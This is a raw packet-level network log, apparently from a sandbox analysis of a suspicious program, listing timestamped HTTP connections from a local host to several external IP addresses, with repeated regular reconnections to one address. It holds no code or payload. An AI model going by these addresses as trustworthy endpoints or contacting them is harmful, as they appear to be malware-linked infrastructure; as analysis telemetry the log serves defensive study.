Jun 28, 2024 22:32:14.368361950 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368374109 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368382931 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368395090 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.368407965 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.368515015 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368525028 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368535995 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368541002 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.368545055 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368556023 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368561029 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.368578911 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.368736029 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368746042 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368755102 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368758917 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.368766069 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368776083 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368781090 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.368789911 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.368799925 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.368815899 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.369020939 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369031906 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369043112 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369049072 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.369049072 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.369056940 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369072914 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369081020 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.369083881 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369095087 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.369251966 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369277954 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.369301081 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369313002 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369323015 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369328976 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.369348049 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.369441032 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369452000 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369461060 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369471073 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369473934 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.369482040 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369493008 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369496107 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.369503021 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369503975 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.369514942 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369524956 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369530916 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.369537115 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369548082 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369553089 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.369553089 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.369560957 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369587898 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.369765043 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369776011 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369792938 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.369889975 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369899988 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369910002 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369916916 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.369920969 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369931936 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369935989 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.369941950 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369954109 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369956017 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.369962931 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.369980097 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.370003939 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.370003939 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.370183945 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370198965 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370210886 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370220900 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370224953 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.370232105 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370242119 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370244026 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.370253086 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370261908 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370270967 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370280027 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.370280027 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.370280981 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370294094 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370306015 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.370351076 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.370351076 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.370546103 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370557070 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370567083 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370577097 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370595932 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.370595932 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.370693922 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370706081 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370713949 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370721102 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.370729923 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370740891 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370743990 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.370752096 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370752096 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.370764971 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.370776892 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.373136997 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.433389902 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.433408022 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.433418036 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.433507919 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.433507919 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.433525085 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.433536053 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.433545113 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.433558941 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.433572054 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.433578968 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.434211969 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.434632063 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.434691906 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.434703112 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.434735060 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.434756994 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.434756994 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.434808969 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.434840918 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.435409069 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.438303947 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:17.023166895 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:17.023222923 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:18.345730066 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:18.346895933 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:22.855012894 CEST	49743	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:22.859797955 CEST	80	49743	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:22.859860897 CEST	49743	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:22.860052109 CEST	49743	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:22.864878893 CEST	80	49743	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:23.573513985 CEST	80	49743	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:23.573653936 CEST	49743	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:23.574414968 CEST	49743	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:23.579225063 CEST	80	49743	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:23.795855999 CEST	80	49743	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:23.795964003 CEST	49743	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:23.905400038 CEST	49743	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:23.908058882 CEST	49745	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:23.910442114 CEST	80	49743	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:23.910528898 CEST	49743	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:23.912842989 CEST	80	49745	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:23.912966967 CEST	49745	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:23.913050890 CEST	49745	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:23.917766094 CEST	80	49745	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:24.617352009 CEST	80	49745	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:24.617429972 CEST	49745	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:24.618144035 CEST	49745	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:24.623064995 CEST	80	49745	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:24.843300104 CEST	80	49745	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:24.844317913 CEST	49745	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:24.952159882 CEST	49745	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:24.952435017 CEST	49746	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:24.957294941 CEST	80	49746	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:24.957329988 CEST	80	49745	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:24.957367897 CEST	49746	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:24.957396030 CEST	49745	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:24.957572937 CEST	49746	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:24.962352991 CEST	80	49746	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:25.666479111 CEST	80	49746	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:25.666536093 CEST	49746	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:25.667526007 CEST	49746	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:25.672272921 CEST	80	49746	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:25.892476082 CEST	80	49746	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:25.892563105 CEST	49746	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:25.998687983 CEST	49746	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:25.998980999 CEST	49747	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:26.005070925 CEST	80	49746	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:26.005093098 CEST	80	49747	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:26.005131006 CEST	49746	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:26.005167007 CEST	49747	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:26.005266905 CEST	49747	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:26.011135101 CEST	80	49747	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:26.704596996 CEST	80	49747	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:26.706502914 CEST	49747	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:26.756498098 CEST	49747	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:26.761317968 CEST	80	49747	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:26.976834059 CEST	80	49747	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:26.979295969 CEST	49747	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:27.092619896 CEST	49747	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:27.092881918 CEST	49748	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:27.097927094 CEST	80	49747	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:27.098155975 CEST	80	49748	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:27.098221064 CEST	49747	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:27.098251104 CEST	49748	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:27.098381996 CEST	49748	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:27.103204012 CEST	80	49748	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:27.834959984 CEST	80	49748	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:27.835107088 CEST	49748	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:27.835741043 CEST	49748	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:27.840554953 CEST	80	49748	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:28.063162088 CEST	80	49748	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:28.063246012 CEST	49748	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:28.170581102 CEST	49748	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:28.170861006 CEST	49749	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:28.178580046 CEST	80	49748	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:28.178653955 CEST	49748	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:28.178730011 CEST	80	49749	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:28.178800106 CEST	49749	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:28.178940058 CEST	49749	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:28.185841084 CEST	80	49749	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:28.904779911 CEST	80	49749	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:28.904908895 CEST	49749	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:28.905566931 CEST	49749	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:28.910341024 CEST	80	49749	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:29.132034063 CEST	80	49749	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:29.132106066 CEST	49749	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:29.233148098 CEST	49749	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:29.233438969 CEST	49750	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:29.238285065 CEST	80	49749	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:29.238342047 CEST	80	49750	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:29.238373995 CEST	49749	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:29.238419056 CEST	49750	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:29.238528013 CEST	49750	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:29.243297100 CEST	80	49750	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:29.933451891 CEST	80	49750	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:29.933598995 CEST	49750	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:29.934520960 CEST	49750	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:29.939352036 CEST	80	49750	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:30.149833918 CEST	80	49750	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:30.149945974 CEST	49750	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:30.264535904 CEST	49750	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:30.264983892 CEST	49751	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:30.269809008 CEST	80	49750	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:30.269877911 CEST	80	49751	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:30.269884109 CEST	49750	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:30.269948959 CEST	49751	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:30.270114899 CEST	49751	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:30.274976015 CEST	80	49751	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:30.961483955 CEST	80	49751	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:30.961571932 CEST	49751	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:30.962296963 CEST	49751	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:30.967164040 CEST	80	49751	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:31.201783895 CEST	80	49751	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:31.201940060 CEST	49751	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:31.313143969 CEST	49751	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:31.313393116 CEST	49752	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:31.318284988 CEST	80	49752	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:31.318387032 CEST	49752	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:31.318573952 CEST	49752	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:31.318712950 CEST	80	49751	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:31.318780899 CEST	49751	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:31.323422909 CEST	80	49752	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:32.019818068 CEST	80	49752	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:32.019913912 CEST	49752	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:32.020646095 CEST	49752	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:32.025636911 CEST	80	49752	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:32.241277933 CEST	80	49752	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:32.241352081 CEST	49752	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:32.342463970 CEST	49752	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:32.342777967 CEST	49753	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:32.347608089 CEST	80	49753	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:32.347696066 CEST	49753	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:32.347822905 CEST	49753	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:32.347937107 CEST	80	49752	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:32.347990036 CEST	49752	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:32.352607965 CEST	80	49753	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:33.202104092 CEST	80	49753	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:33.202306032 CEST	49753	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:33.202780962 CEST	49753	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:33.213244915 CEST	80	49753	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:33.432221889 CEST	80	49753	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:33.432307005 CEST	49753	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:33.548688889 CEST	49753	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:33.549635887 CEST	49754	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:33.554059982 CEST	80	49753	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:33.554162979 CEST	49753	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:33.554503918 CEST	80	49754	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:33.554584980 CEST	49754	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:33.554738045 CEST	49754	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:33.559514999 CEST	80	49754	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:34.260020971 CEST	80	49754	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:34.260119915 CEST	49754	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:34.260884047 CEST	49754	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:34.269555092 CEST	80	49754	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:34.485965014 CEST	80	49754	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:34.486126900 CEST	49754	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:34.592619896 CEST	49754	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:34.592911005 CEST	49755	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:34.597821951 CEST	80	49755	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:34.597944021 CEST	49755	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:34.597971916 CEST	80	49754	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:34.598026037 CEST	49754	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:34.602277040 CEST	49755	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:34.607202053 CEST	80	49755	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:35.314397097 CEST	80	49755	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:35.314483881 CEST	49755	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:35.315171003 CEST	49755	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:35.320586920 CEST	80	49755	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:35.537945986 CEST	80	49755	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:35.538146019 CEST	49755	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:35.639441967 CEST	49755	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:35.639729977 CEST	49756	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:35.644536972 CEST	80	49756	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:35.644607067 CEST	49756	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:35.644679070 CEST	80	49755	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:35.644715071 CEST	49756	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:35.644725084 CEST	49755	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:35.649559975 CEST	80	49756	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:36.361618042 CEST	80	49756	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:36.361757040 CEST	49756	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:36.362310886 CEST	49756	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:36.367252111 CEST	80	49756	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:36.587130070 CEST	80	49756	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:36.587208033 CEST	49756	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:36.701886892 CEST	49756	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:36.702207088 CEST	49757	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:36.707003117 CEST	80	49757	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:36.707071066 CEST	80	49756	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:36.707123041 CEST	49757	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:36.707153082 CEST	49756	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:36.707278013 CEST	49757	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:36.711985111 CEST	80	49757	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:37.408818007 CEST	80	49757	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:37.408898115 CEST	49757	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:37.409533024 CEST	49757	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:37.414335966 CEST	80	49757	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:37.627258062 CEST	80	49757	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:37.627341986 CEST	49757	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:37.733381987 CEST	49757	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:37.733699083 CEST	49758	80	192.168.2.4	77.91.77.82
